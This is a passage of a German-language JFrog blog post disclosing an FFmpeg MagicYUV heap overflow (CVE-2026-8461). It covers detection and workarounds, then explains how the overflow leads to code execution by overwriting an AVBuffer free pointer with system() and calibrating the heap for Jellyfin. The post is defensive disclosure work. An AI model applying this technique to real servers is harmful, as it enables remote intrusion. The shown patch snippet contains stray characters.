{"id":172263,"date":"2026-08-20T10:42:06","date_gmt":"2026-08-20T08:42:06","guid":{"rendered":"https:\/\/jfrog.com\/blog\/pixelsmash-kritische-ffmpeg-schwachstelle-macht-mediendateien-zum-sicherheitsrisiko\/"},"modified":"2026-09-07T09:54:33","modified_gmt":"2026-09-07T07:54:33","slug":"pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons","status":"publish","type":"post","link":"https:\/\/jfrog.com\/de\/blog\/pixelsmash-critical-ffmpeg-vulnerability-turns-media-files-into-weapons\/","title":{"rendered":"PixelSmash \u2013 Kritische FFmpeg-Schwachstelle macht Mediendateien zum Sicherheitsrisiko"},"content":{"rendered":"<p><img decoding=\"async\" class=\"alignnone size-full wp-image-168603\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161456\/Pixelsmash-863x300-1.png\" alt=\"Pixelsmash \u2013 863x300\" width=\"863\" height=\"300\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161456\/Pixelsmash-863x300-1.png?speedsize=w_863 863w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161456\/Pixelsmash-863x300-1.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161456\/Pixelsmash-863x300-1.png?speedsize=w_768 768w\" sizes=\"(max-width: 863px) 100vw, 863px\" \/><\/p>\n<p>JFrog Security Research hat vor Kurzem eine kritische Schwachstelle in FFmpeg \u2013 dem weltweit am h\u00e4ufigsten eingesetzten Framework zur Verarbeitung von Mediendateien \u2013 entdeckt und offengelegt. Die entdeckte Schwachstelle, die wir <strong>PixelSmash<\/strong> genannt haben, tr\u00e4gt das K\u00fcrzel <strong>CVE-2026-8461<\/strong>\u00a0\u2013 ein Heap-Out-of-Bounds-Write im MagicYUV-Decoder (CVSS 8,8 Hoch). Wir haben die Schwachstelle von einem einfachen Absturz bis hin zu einer zuverl\u00e4ssigen Remote Code Execution eskaliert. Daf\u00fcr gen\u00fcgte bereits die Verarbeitung einer einzigen sch\u00e4dlichen Mediendatei.<\/p>\n<p>Der Out-of-Bounds-Write reicht aus, um <strong>jede Anwendung, die FFmpeg nutzt<\/strong>, zum Absturz zu bringen\u00a0\u2013 von Desktop-Videoplayern wie Kodi und mpv \u00fcber Thumbnail-Generatoren in Linux-Dateimanagern bis hin zu Cloud-Transcoding-Pipelines und selbst gehosteten Medienservern. Wir konnten den vollst\u00e4ndigen Exploit der Schwachstelle demonstriert, indem wir auf zwei unabh\u00e4ngigen Zielsystemen Remote Code Execution erm\u00f6glichten: auf einem <strong>Jellyfin<\/strong>-Medienserver (\u00fcber einen automatischen Library-Scan) und auf einer <strong>Nextcloud<\/strong>-Instanz (\u00fcber den Videovorschau-Anbieter). In beiden F\u00e4llen gen\u00fcgte das Hochladen einer pr\u00e4parierten 50-KB-AVI-Datei.<\/p>\n<p><strong>FFmpeg-Nutzern wird empfohlen, so schnell wie m\u00f6glich auf die gefixte Version upzugraden. Wird der MagicYUV-Decoder nicht ben\u00f6tigt, kann er bereits w\u00e4hrend des Builds deaktiviert werden (siehe Abschnitt \u201eWorkarounds\u201c weiter unten).<\/strong><\/p>\n<p>FFmpeg ist in praktisch jeder Anwendung zur Medienverarbeitung auf allen Plattformen integriert oder mit dieser verkn\u00fcpft\u00a0\u2013 entsprechend gro\u00df sind die potenziellen Auswirkungen der Schwachstelle. Wir konnten unter anderem Abst\u00fcrze bei Kodi, mpv, ffmpegthumbnailer (verwendet von GNOME, KDE und XFCE), Jellyfin, Emby, Nextcloud, Immich, PhotoPrism und OBS Studio best\u00e4tigen. Bei Jellyfin konnten wir eine vollst\u00e4ndige Remote Code Execution demonstrieren.<\/p>\n<p>PixelSmash ist eine Schwachstelle in der Software-Lieferkette: Ein einziger Bug in einem einzigen Codec-Decoder innerhalb von FFmpeg\u00a0\u2013 einer grundlegenden Abh\u00e4ngigkeit, die in Hunderten von Downstream-Projekten eingebettet ist\u00a0\u2013 breitet sich kaskadenartig auf jede Anwendung aus, die <strong>libavcodec<\/strong> einbindet. Keines der betroffenen Projekte (Jellyfin, mpv, Nextcloud, Immich, OBS, vLLM und viele andere) hat diesen Bug selbst eingef\u00fchrt. Sie haben ihn unbemerkt \u00fcber ihre Abh\u00e4ngigkeit von FFmpeg \u00fcbernommen und verf\u00fcgen in der Regel \u00fcber keine Mechanismen, um ihn selbst zu erkennen oder zu beheben.<\/p>\n<p>In diesem technischen Blogbeitrag erkl\u00e4ren wir die Ursache der Schwachstelle, gehen den Exploit vom Absturz bis zur Codeausf\u00fchrung Schritt f\u00fcr Schritt durch und demonstrieren eine reale Remote Code Execution auf einem Jellyfin-Medienserver\u00a0\u2013 vom Upload einer einzelnen Videodatei bis hin zu einer Reverse Shell.<\/p>\n<p>Wir m\u00f6chten uns bei den Sicherheitsteams von FFmpeg und Jellyfin f\u00fcr ihre schnelle Reaktion bei der Behebung dieser Probleme bedanken.<\/p>\n<h2>Wer ist von PixelSmash betroffen?<\/h2>\n<h3>Voraussetzungen f\u00fcr einen Angriff<\/h3>\n<p>Um PixelSmash auszunutzen, muss ein Angreifer eine manipulierte Mediendatei (AVI-, MKV- oder MOV-Container) an eine beliebige Anwendung \u00fcbermitteln, die Videos mit FFmpegs libavcodec decodiert. Dazu geh\u00f6ren:<\/p>\n<ul>\n<li aria-level=\"1\"><strong>Desktop<\/strong>: Ein Nutzer \u00f6ffnet die sch\u00e4dliche Datei in einem Videoplayer oder navigiert lediglich zu einem Ordner, der die Datei enth\u00e4lt (der Thumbnail-Generator des Dateimanagers kann die Schwachstelle ausl\u00f6sen).<\/li>\n<li aria-level=\"1\"><strong>Serverseitig<\/strong>: Ein User l\u00e4dt die Datei auf einen Medienserver (Jellyfin, Emby, Nextcloud, Immich), eine Chat-Plattform (Slack, Discord, Telegram) oder einen Cloud-Transcoding-Dienst (AWS MediaConvert, Cloudflare Stream) hoch. Der Server verarbeitet die Datei anschlie\u00dfend automatisch.<\/li>\n<li aria-level=\"1\"><strong>Embedded\/IoT:<\/strong> Jede NAS-System (Synology, QNAP), Smart-TVs sowie andere Medienger\u00e4te, die Video-Thumbnails oder -Previews generieren.<\/li>\n<\/ul>\n<p>Abgesehen von der M\u00f6glichkeit, eine Mediendatei zu \u00fcbermitteln, sind keine Authentifizierung, speziellen Berechtigungen oder ein vorheriger Zugriff auf das Zielsystem erforderlich, \u00a0\u2013 die Standard-Angriffsfl\u00e4che bei jeder Anwendung zur Medienverarbeitung.<\/p>\n<h3>erkennen<\/h3>\n<p>Um festzustellen, ob Ihr System den anf\u00e4lligen MagicYUV-Decoder enth\u00e4lt, f\u00fchren Sie den folgenden Befehl aus:<\/p>\n<pre class=\"language-shell\"><code>ffmpeg -decoders 2&gt;\/dev\/null | grep magicyuv\r\n<\/code><\/pre>\n<p>Wenn die Ausgabe VFS..D magicyuv enth\u00e4lt, ist Ihr FFmpeg-Build von der Schwachstelle betroffen. Der MagicYUV-Decoder ist in allen Upstream-FFmpeg-Builds und allen von uns getesteten Distributionspaket (Ubuntu, Debian, Fedora, Arch, Alpine) vor Version 9.0 <strong>standardm\u00e4\u00dfig aktiviert<\/strong>.<\/p>\n<h3>Workarounds<\/h3>\n<p>Falls ein sofortiges Upgrade von FFmpeg nicht m\u00f6glich ist:<\/p>\n<p><strong>Option 1\u00a0\u2013 Erstellen Sie FFmpeg neu und deaktivieren Sie dabei den anf\u00e4lligen Decoder:<\/strong><\/p>\n<pre class=\"language-shell\"><code>.\/configure --disable-decoder=magicyuv [your other flags]&lt;\r\nmake &amp;&amp; make install<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Option 2\u00a0\u2013 Minimalen Patch anwenden (7 Zeilen werden zu libavcodec\/magicyuv.c hinzugef\u00fcgt):<\/p>\n<pre class=\"language-c\"><code>\r\n     if (s-&gt;slice_height &lt;= 0 || s-&gt;slice_height &gt; INT_MAX -  avctx-&gt;coded_height) {\r\n         av_log(avctx, AV_LOG_ERROR, \"invalid slice height: %d\\n\",    s-&gt;slice_height);\r\n         return AVERROR_INVALIDDATA;\r\n     }\r\n+    if ((s-&gt;slice_height &gt;&gt; s-&gt;vshift[1]) &lt;= s-&gt;interlaced) {\r\n+        av_log(avctx, AV_LOG_ERROR, \"impossible slice height\\n\");\r\n+        return AVERROR_INVALIDDATA;\r\n+    }\r\n+    if ((avctx-&gt;coded_height % s-&gt;slice_height) &amp;&amp; ((avctx-&gt;coded_height % +        s-&gt;slice_height) &gt;&gt; s-&gt;vshift[1]) &lt;= s-&gt;interlaced) {\r\n+        av_log(avctx, AV_LOG_ERROR, \"impossible height\\n\");\r\n+        return AVERROR_INVALIDDATA;\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Dadurch werden fehlerhafte slice_height-Werte zur\u00fcckgewiesen, die den Out-of-Bounds-Write triggern. Der Referenz-MagicYUV-Encoder gibt immer korrekt ausgerichtete Slice-H\u00f6hen aus, sodass dadurch ausschlie\u00dflich b\u00f6sartige Eingaben blockiert werden.<\/p>\n<h2>Ein genauerer Blick auf die PixelSmash-Schwachstelle<\/h2>\n<h3>FFmpeg und Medien-Codecs\u00a0\u2013 eine universelle Angriffsfl\u00e4che<\/h3>\n<p>FFmpeg ist die Basis f\u00fcr die Medienverarbeitung im gesamten Software-\u00d6kosystem. Es ist in praktisch jede Anwendung, die Videos verarbeitet, eingebunden oder mit ihr geb\u00fcndelt\u00a0\u2013 von Desktop-Playern (mpv, VLC) \u00fcber selbst gehostete Medienserver (Jellyfin, Plex, Emby) und Cloud-Transcoding-Pipelines (AWS MediaConvert, Cloudflare Stream) bis hin zu Linux-Desktop-Umgebungen (GNOME, KDE nutzen XFCE nutzen es f\u00fcr Video-Thumbnails).<\/p>\n<p>Die FFmpeg-Library <strong>libavcodec<\/strong> enth\u00e4lt Decoder f\u00fcr Hunderte Video- und Audio-Codecs. Jeder dieser Decoder parst Bitstream-Daten, die von Angreifern kontrolliert werden k\u00f6nnen, und schreibt die decodierten Pixel in den dem Heap zugewiesenen Frame-Buffer. Ein Bug in einem beliebigen Decoder kann daher von jeder Anwendung genutzt werden, die das entsprechende Medienformat verarbeitet. Deshalb geh\u00f6ren Codec-Fehler zu den potenziell folgenreichsten Schwachstellenklassen im Software-\u00d6kosystem.<\/p>\n<p><strong>MagicYUV<\/strong> ist ein verlustfreier Video-Codec, der f\u00fcr leistungsstarke Workflows in der Videobearbeitung entwickelt wurde. Obwohl er weniger bekannt ist als H.264 oder VP9, ist sein Decoder in jedem standardm\u00e4\u00dfigen FFmpeg-Build kompiliert und f\u00fcr AVI-, MKV- und MOV-Container registriert. Jede Anwendung, die eine Videodatei \u00f6ffnen kann, kann daher den MagicYUV-Decoder ausl\u00f6sen.<\/p>\n<h2>CVE-2026-8461\u00a0\u2013 Heap-Out-of-Bounds-Write im MagicYUV-Decoder<\/h2>\n<h3>Hintergrund<\/h3>\n<p>Bei der Videokompression ist ein Slice ein klar abgegrenzter, horizontal unterteilter Bereich eines einzelnen Videoframes, der unabh\u00e4ngig vom restlichen Frames decodiert werden kann.<\/p>\n<p>Digitale Videos speichern Bilder nur selten im klassischen RGB-Farbraum (Rot, Gr\u00fcn, Blau). Stattdessen kommt der YUV-Farbraum zum Einsatz, bei dem ein Bild in separate Ebenen oder \u201ePlanes\u201c aufgeteilt wird:<\/p>\n<ul>\n<li aria-level=\"1\"><strong>Y (Luma Plane):<\/strong> Die Helligkeits- bzw. Graustufeninformationen des Bildes. Das menschliche Auge ist besonders gut darin, Helligkeitsunterschiede zu erkennen.<\/li>\n<li aria-level=\"1\"><strong>U &amp;amp; V (Chroma Plane):<\/strong> Die eigentlichen Farbinformationen. Feine Farbunterschiede nimmt das menschliche Auge deutlich weniger pr\u00e4zise wahr.<\/li>\n<\/ul>\n<h3>Die Ursache: eine Inkonsistenz bei der Rundung<\/h3>\n<p>Die Schwachstelle ist ein Heap-Puffer\u00fcberlauf um eine Zeile bei der Verarbeitung von Slices im MagicYUV-Decoder. Der Grund ist, dass der Frame-Allocator und der Decoder die H\u00f6he der Chroma-Ebenen unterschiedlich berechnen.<\/p>\n<p>MagicYUV codiert Videos in horizontalen Slices. Bei unterabgetasteten Pixelformaten wie YUV420P (bei denen die Chroma-Ebenen nur die H\u00e4lfte der vertikalen Aufl\u00f6sung der Luma-Ebene aufweisen) muss der Decoder die Slice-H\u00f6hen von Luma-Zeilen mithilfe von aufgerundeten Rechts-Shifts in Chroma-Zeilen umrechnen.<\/p>\n<p>Das Problem: Wenn slice_height ungerade ist, f\u00fcgt der aufgerundete Shift (AV_CEIL_RSHIFT) eine zus\u00e4tzliche Zeile pro Slice hinzu. \u00dcber mehrere Slices hinweg summieren sich diese zus\u00e4tzlichen Zeilen, bis sie \u00fcber das Ende des f\u00fcr die Chroma-Ebene vorgesehenen Puffers hinausreichen.<\/p>\n<p>Das Problem l\u00e4sst sich in folgende Schritte unterteilen:<\/p>\n<p style=\"padding-left: 40px;\">1. Der Frame-Allocator berechnet, wie hoch der Puffer f\u00fcr die Chroma-Ebene sein sollte. In update_frame_pool (get_buffer.c) wird die Frame-H\u00f6he zun\u00e4chst auf 32 ausgerichtet und anschlie\u00dfend f\u00fcr Chroma halbiert:<\/p>\n<pre class=\"language-c\"><code>allocated chroma rows = AV_CEIL_RSHIFT(FFALIGN(32, 32), 1) = 16\r\n<\/code><\/pre>\n<p>Der Puffer der Chroma-Ebene ist f\u00fcr 16 Zeilen ausgelegt.<\/p>\n<p style=\"padding-left: 40px;\">2. Der Decoder liest slice_height direkt aus dem vom Angreifer kontrollierten Bitstream (magicyuv.c:550 aus):<\/p>\n<pre class=\"language-c\"><code>s-&gt;slice_height = bytestream2_get_le32u(&amp;gb);\r\n<\/code><\/pre>\n<p>Mit unserem gezielt gew\u00e4hlten Wert slice_height = 31 und coded_height = 32 berechnet der Decoder Folgendes:<\/p>\n<pre class=\"language-c\"><code>\/\/ magicyuv.c:559 - number of slices\r\ns-&gt;nb_slices = (32 + 31 - 1) \/ 31 = 2;\r\n\r\n\/\/ magicyuv.c:275 - chroma rows per slice (ceiling-rounded)\r\nint sheight = AV_CEIL_RSHIFT(31, 1) = 16;\r\n<\/code><\/pre>\n<p style=\"padding-left: 40px;\">3. F\u00fcr den zweiten (letzten) Slice berechnet der Decoder den Ziel-Pointer folgenderma\u00dfen:<\/p>\n<pre class=\"language-c\"><code>\r\n\/\/ magicyuv.c:287\r\ndst = p-&gt;data[1] + j * height * stride\r\n    = p-&gt;data[1] + 1 * 16 * stride    \/\/ row 16 of a 16-row buffer!\r\n<\/code><\/pre>\n<p>Der Chroma-Puffer umfasst die Zeilen 0\u201315 (16 Zeilen). Der Decoder schreibt jedoch in Zeile 16\u00a0\u2013 also eine ganze Zeile \u00fcber das Ende des zugewiesenen Bereichs hinaus.<\/p>\n<p style=\"padding-left: 40px;\">4. Der OOB-Write wird ausgel\u00f6st. Im Raw-Modus kopiert der Decoder die vom Angreifer kontrollierten Bytes direkt:<\/p>\n<pre class=\"language-c\"><code>\r\n\/\/ magicyuv.c:291-294\r\nfor (k = 0; k &lt; height; k++) {\r\n    bytestream_get_buffer(&amp;slice, dst, width);  \/\/ OOB WRITE\r\n    dst += stride;\r\n}\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Bei width = 640 (bei unserer coded_width = 1280, f\u00fcr Chroma halbiert) werden dadurch 640 vollst\u00e4ndig vom Angreifer kontrollierte Bytes in den Heap-Block geschrieben, der unmittelbar auf den Puffer der Chroma-Ebene folgt.<\/p>\n<p>Die bestehende slice_height-Validierung in magicyuv.c:566 pr\u00fcft nur den Interlaced-Codepfad. Der von uns ausgenutzte Non-Interlaced-Pfad dagegen enth\u00e4lt keinerlei Pr\u00fcfung der Ausrichtung:<\/p>\n<pre class=\"language-c\"><code>\r\n\/\/ magicyuv.c:566-568 - guard ONLY for interlaced mode\r\nif (s-&gt;interlaced) {\r\n    if ((s-&gt;slice_height &gt;&gt; s-&gt;vshift[1]) &lt; 2)\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Der ASAN-Bericht vom Upstream-Master best\u00e4tigt den Overflow eindeutig:<\/p>\n<pre class=\"language-c\"><code>\r\n==PID==ERROR: AddressSanitizer: heap-buffer-overflow\r\nWRITE of size 512 at 0x52500000214f thread T0\r\n    #2 bytestream_get_buffer  libavcodec\/bytestream.h:367\r\n    #3 magy_decode_slice      libavcodec\/magicyuv.c:292\r\n    #5 magy_decode_frame      libavcodec\/magicyuv.c:630\r\n\r\n0x52500000214f is located 0 bytes after 8271-byte region\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p><em>Diagramm 1\u00a0\u2013 Heap-Layout<\/em><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-168600 size-large\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1-1024x677.png\" alt=\"Pixelsmash - \" width=\"1024\" height=\"677\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161320\/Pixelsmash-Diagram-1.png?speedsize=w_1380 1380w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<h3>Vom OOB-Write zur Codeausf\u00fchrung: AVBuffer kapern<\/h3>\n<p>Ein Heap-Overflow ist nur von Nutzen, wenn der Angreifer etwas Relevantes \u00fcberschreiben kann. Im Heap-Layout von FFmpeg ist das die AVBuffer-Struktur\u00a0\u2013 das referenzgez\u00e4hlte Objekt zur Pufferverwaltung, das FFmpeg unmittelbar nach den Pixeldaten jeder Ebene zuweist.<\/p>\n<p>Sobald FFmpeg die Decodierung eines Frames abgeschlossen hat, ruft es av_frame_unref auf, das f\u00fcr jede Ebene die zugeh\u00f6rige Buffer-Referenz durchl\u00e4uft und av_buffer_unref aufruft. Innerhalb von av_buffer_unref (libavutil\/buffer.c:133) geschieht Folgendes, sobald der Refcount null erreicht:<\/p>\n<pre class=\"language-c\"><code>buf-&gt;free(buf-&gt;opaque, buf-&gt;data);\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Dabei handelt es sich um einen indirekten Aufruf \u00fcber einen im Heap gespeicherten Funktionszeiger. Wenn wir buf-&gt;free mit der Adresse von system()-aus der libc und buf-&gt;opaque mit einem Zeiger auf einen Shell-Command-String \u00fcberschreiben k\u00f6nnen, wird aus dem indirekten Aufruf:<\/p>\n<pre class=\"language-c\"><code>system(cmd_string);   \/\/ attacker's shell command executes\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Unser OOB-Write von 640 Byte trifft direkt auf die AVBuffer struct der Cb-Chroma-Ebene. Das Heap-Layout im OOB-Bereich sieht wie folgt aus (erfasst via GDB auf der in Jellyfin geb\u00fcndelten Version jellyfin-ffmpeg 7.1.3):<\/p>\n<p>&nbsp;<\/p>\n<pre class=\"language-shell\"><code>\r\nOOB + 0:     [88 bytes of zeros - command string hole]\r\nOOB + 88:    [glibc chunk headers - must be preserved]\r\nOOB + 256:   AVBuffer struct:\r\n  +256         .data      = Cb_data pointer\r\n  +264         .size      = 0x284f\r\n  +272         .refcount  = 1          &lt;- we write 1\r\n  +280         .free      =  &lt;- we overwrite with &amp;system\r\n  +288         .opaque    =  &lt;- we overwrite with &amp;cmd_string OOB + 384: AVBufferRef.buffer -&gt; points back to AVBuffer at +256\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<p>Der Exploit platziert einen NUL-terminierten Shell-Befehl am OOB-Offset 0 (in einem 88 Byte gro\u00dfen Nullbereich, der frei von glibc-Metadaten ist) und \u00fcberschreibt anschlie\u00dfend:<\/p>\n<ul>\n<li aria-level=\"1\">AVBuffer.free -&gt; Adresse von libc system()<\/li>\n<li aria-level=\"1\">AVBuffer.opaque -&gt; Heap-Adresse der Befehlszeichenfolge bei OOB + 0<\/li>\n<li aria-level=\"1\">AVBuffer.refcount -&gt; 1 (damit beim Dekrementieren null erreicht und der Aufruf getriggert wird)<\/li>\n<\/ul>\n<p>Wenn av_buffer_unref w\u00e4hrend der normalen Frame-Bereinigung ausgef\u00fchrt wird, wird aus dem indirekten Aufruf system(&#8220;attacker_command&#8221;). Der neu gestartete Shell-Prozess (&#8220;Shell Child&#8221;) f\u00fchrt den Befehl aus, bevor der \u00fcbergeordnete FFmpeg-Prozess (&#8220;Parent Shell&#8221;) aufgrund der nachfolgenden Heap-Korruption abst\u00fcrzt\u00a0\u2013 der Befehl wurde zu diesem Zeitpunkt bereits ausgef\u00fchrt.<\/p>\n<p>Die zentrale Herausforderung besteht darin, dass die malloc-Chunk-Header von glibc innerhalb des OOB-Bereichs exakt erhalten bleiben m\u00fcssen. Andernfalls erkennen free()-Aufrufe bei anderen Speicherzuweisungen eine Besch\u00e4digung und brechen den Prozess ab, bevor unser manipuliertes av_buffer_unref ausgef\u00fchrt wird. Unser Exploit codiert die im Heap des Zielsystems beobachteten exakten Chunk-Metadaten in den OOB-Payload und verwendet daf\u00fcr Left-Prediction-Codierung, die dem Dekompressionsalgorithmus von MagicYUV entspricht.<\/p>\n<p><em>Diagramm 2\u00a0\u2013 Exploit-Ablauf<\/em><\/p>\n<p><img decoding=\"async\" class=\"alignnone wp-image-168607 size-large\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2-1024x679.png\" alt=\"Pixelsmash-Diagramm 2\" width=\"1024\" height=\"679\" srcset=\"https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2.png?speedsize=w_1024 1024w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2.png?speedsize=w_300 300w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2.png?speedsize=w_768 768w, https:\/\/speedmedia2.jfrog.com\/08612fe1-9391-4cf3-ac1a-6dd49c36b276\/media.jfrog.com\/wp-content\/uploads\/2026\/06\/21161505\/Pixelsmash-Diagram-2.png?speedsize=w_1400 1400w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<h2>Vom Absturz zur RCE: Eine Schwachstelle eskalieren<\/h2>\n<p>Der Heap-OOB-Write ist nicht nur ein Denial of Service. Wir haben ihn zu einer zuverl\u00e4ssigen Ausf\u00fchrung beliebiger Befehle gegen die mit Jellyfin geb\u00fcndelte FFmpeg-Version 7.1.3 ausgeweitet.<\/p>\n<p>Wichtige Einschr\u00e4nkung: F\u00fcr diese Demonstration war ASLR deaktiviert. Unser Exploit erfordert hartkodierte Adressen f\u00fcr system() und den OOB-Command-String. Das bedeutet, dass er nur dann deterministisch funktioniert, wenn ASLR deaktiviert ist (setarch x86_64 -R) . In einer standardm\u00e4\u00dfigen Linux-Konfiguration mit aktiviertem ASLR werden die Adressen bei jeder Ausf\u00fchrung randomisiert, sodass der Exploit nicht zuverl\u00e4ssig funktioniert. Wir haben jedoch eine separate Sicherheitsl\u00fccke im FlashSV-Decoder von FFmpeg (libavcodec\/flashsv.c) identifiziert\u00a0\u2013 die Offenlegung eines nicht initialisierten Heap-Speichers. Diese Schwachstelle ist seit Juli 2022 im Upstream-FFmpeg vorhanden und zum Zeitpunkt der Ver\u00f6ffentlichung noch nicht behoben worden. Sie l\u00e4sst sich allerdings nur ausnutzen, wenn bestimmte Umgebungsoptionen f\u00fcr FFmpeg verwendet werden (z.\u00a0B. -threads 1)\u00a0\u2013 daher wird ihr Schweregrad lediglich als \u201einformativ\u201c eingestuft. Grunds\u00e4tzlich k\u00f6nnte ein \u00e4hnliches Informationsleck, das k\u00fcnftig entdeckt wird, mit dem MagicYUV-OOB-Write kombiniert werden, um ASLR zu umgehen und auch bei vollst\u00e4ndig aktivierten Schutzma\u00dfnahmen eine RCE zu erm\u00f6glichen. Eine solche Verkettung erfordert jedoch weitere Untersuchungen und wurde bislang nicht demonstriert. Der MagicYUV-OOB-Write allein (ohne ASLR-Umgehung) reicht bei allen getesteten Zielen f\u00fcr einen zuverl\u00e4ssigen DoS aus.<\/p>\n<p>F\u00fcr die Eskalation des Exploits mussten wir drei technische Herausforderungen l\u00f6sen:<\/p>\n<ol>\n<li>Pr\u00e4zise Kalibrierung des Heap-Layouts: Der OOB-Payload muss die richtigen Werte an den richtigen Offsets schreiben, um die AVBuffer-Struktur zu treffen. Daf\u00fcr haben wir eine GDB-basierte Auto-Kalibrierungs-Pipeline entwickelt, die den exakten Zustand des Heaps unmittelbar vor dem OOB-Write erfasst, alle Chunk-Metadaten-Qwords extrahiert und eine pr\u00e4zise Exploit-AVI\/MKV\/MOV-Datei generiert.<\/li>\n<li>Integrit\u00e4t der glibc-Chunks erhalten: Der 640 Byte gro\u00dfe OOB-Bereich enth\u00e4lt glibc-malloc-Chunk-Header (Free-List-Pointer, Blockgr\u00f6\u00dfen, PREV_INUSE-Flags). Wird auch nur einer dieser Werte besch\u00e4digt, brechen die Integrit\u00e4tspr\u00fcfungen von glibc den Prozess ab, bevor unser manipuliertes av_buffer_unref ausgef\u00fchrt wird. Unser Exploit erh\u00e4lt alle 33 Metadaten-Qwords genau so, wie sie im Live-Heap vorliegen.<\/li>\n<li>Erhalt des OOB-Bereichs der Cr-Ebene: Sowohl bei der Cb- als auch bei der Cr-Chroma-Ebene kommt es zu einem OOB-Write von jeweils einer Zeile. Der OOB-Bereich der Cr-Ebene enth\u00e4lt einen tcache-Eintrag und den glibc-Top-Chunk. Wird die Gr\u00f6\u00dfe des Top Chunks besch\u00e4digt, schlagen die internen malloc-Aufrufe von system() f\u00fcr fork()\/exec() fehl. Unser Exploit codiert daher die exakten Cr-Heap-Metadaten, damit sie unver\u00e4ndert erhalten bleiben.<\/li>\n<\/ol>\n<h2>Exploit in der Praxis: RCE auf einem Jellyfin-Medienserver<\/h2>\n<p>Um die Auswirkungen in der Praxis zu demonstrieren, haben wir eine vollst\u00e4ndige Remote Code Execution auf einem Jellyfin-Medienserver der Version 10.11.9\u00a0\u2013 dem zweitbeliebtesten selbst gehosteten Medienserver (nach Plex)\u00a0\u2013 \u00fcber dessen regul\u00e4re Medienbibliothek-Scan-Pipeline erreicht.<\/p>\n<p>Angriffspfad: Download einer pr\u00e4parierten MagicYUV-AVI-Datei in die Medienbibliothek -&gt; Jellyfin startet automatisch ffprobe, um Metadaten auszulesen -&gt; der OOB-Write wird ausgel\u00f6st -&gt; AVBuffer.free wird so manipuliert, dass auf system() verwiesen wird -&gt; ein beliebiger Befehl wird als Jellyfin-Servicenutzer (uid 115) ausgef\u00fchrt.<\/p>\n<h3>Kalibrierung: Warum das Heap-Layout wichtig ist<\/h3>\n<p>Das Heap-Layout des OOB-Bereichs h\u00e4ngt von den genauen ffprobe-Kommandozeilenargumenten und der L\u00e4nge des Eingabedateipfads ab. Das haben wir im Zuge von drei vollst\u00e4ndigen Rekalibrierungszyklen festgestellt:<\/p>\n<ol>\n<li>Basisargumente ver\u00e4ndern das Heap-Layout: Der ffprobe-Aufruf von Jellyfin enth\u00e4lt Optionen, die bei einem einfachen ffprobe-Aufruf nicht vorhanden sind (via strace im laufenden Jellyfin-Prozess erfasst):<\/li>\n<\/ol>\n<pre class=\"language-shell\"><code>\r\nffprobe -analyzeduration 200M -probesize 1G -threads 0 -v warning\r\n        -print_format json -show_streams -show_chapters -show_format\r\n        -show_frames -only_first_vframe -i file:\r\n<\/code><\/pre>\n<p>&nbsp;<\/p>\n<ol start=\"2\">\n<li>Das Flag -threads 0 verschiebt den Heap um ~ 0x200: Die Multithreading-Option verursacht zus\u00e4tzliche Thread-Kontextzuweisungen, die den Chroma-Puffer an eine andere Heap-Adresse verschieben.<\/li>\n<li>Die L\u00e4nge des Dateipfads verschiebt den Heap um etwa 0x40 pro L\u00e4ngenklasse: file:\/tmp\/test.avi (kurzer Pfad) erzeugt ein anderes Layout als file:\/var\/lib\/jellyfin\/media\/movies\/Summer_Memories_2026.avi (Produktionspfad). Dateinamen mit gleicher L\u00e4nge erzeugen identische Layouts. Genau diese Erkenntnis macht den Exploit bei einem bekannten Deployment deterministisch.<\/li>\n<\/ol>\n<h3>Der Exploit<\/h3>\n<p>Unsere abschlie\u00dfende Kalibrierung ist auf einen 60 Zeichen langen Dateipfad ausgelegt (entsprechend der standardm\u00e4\u00dfigen Struktur der Jellyfin-Medienbibliothek). Die 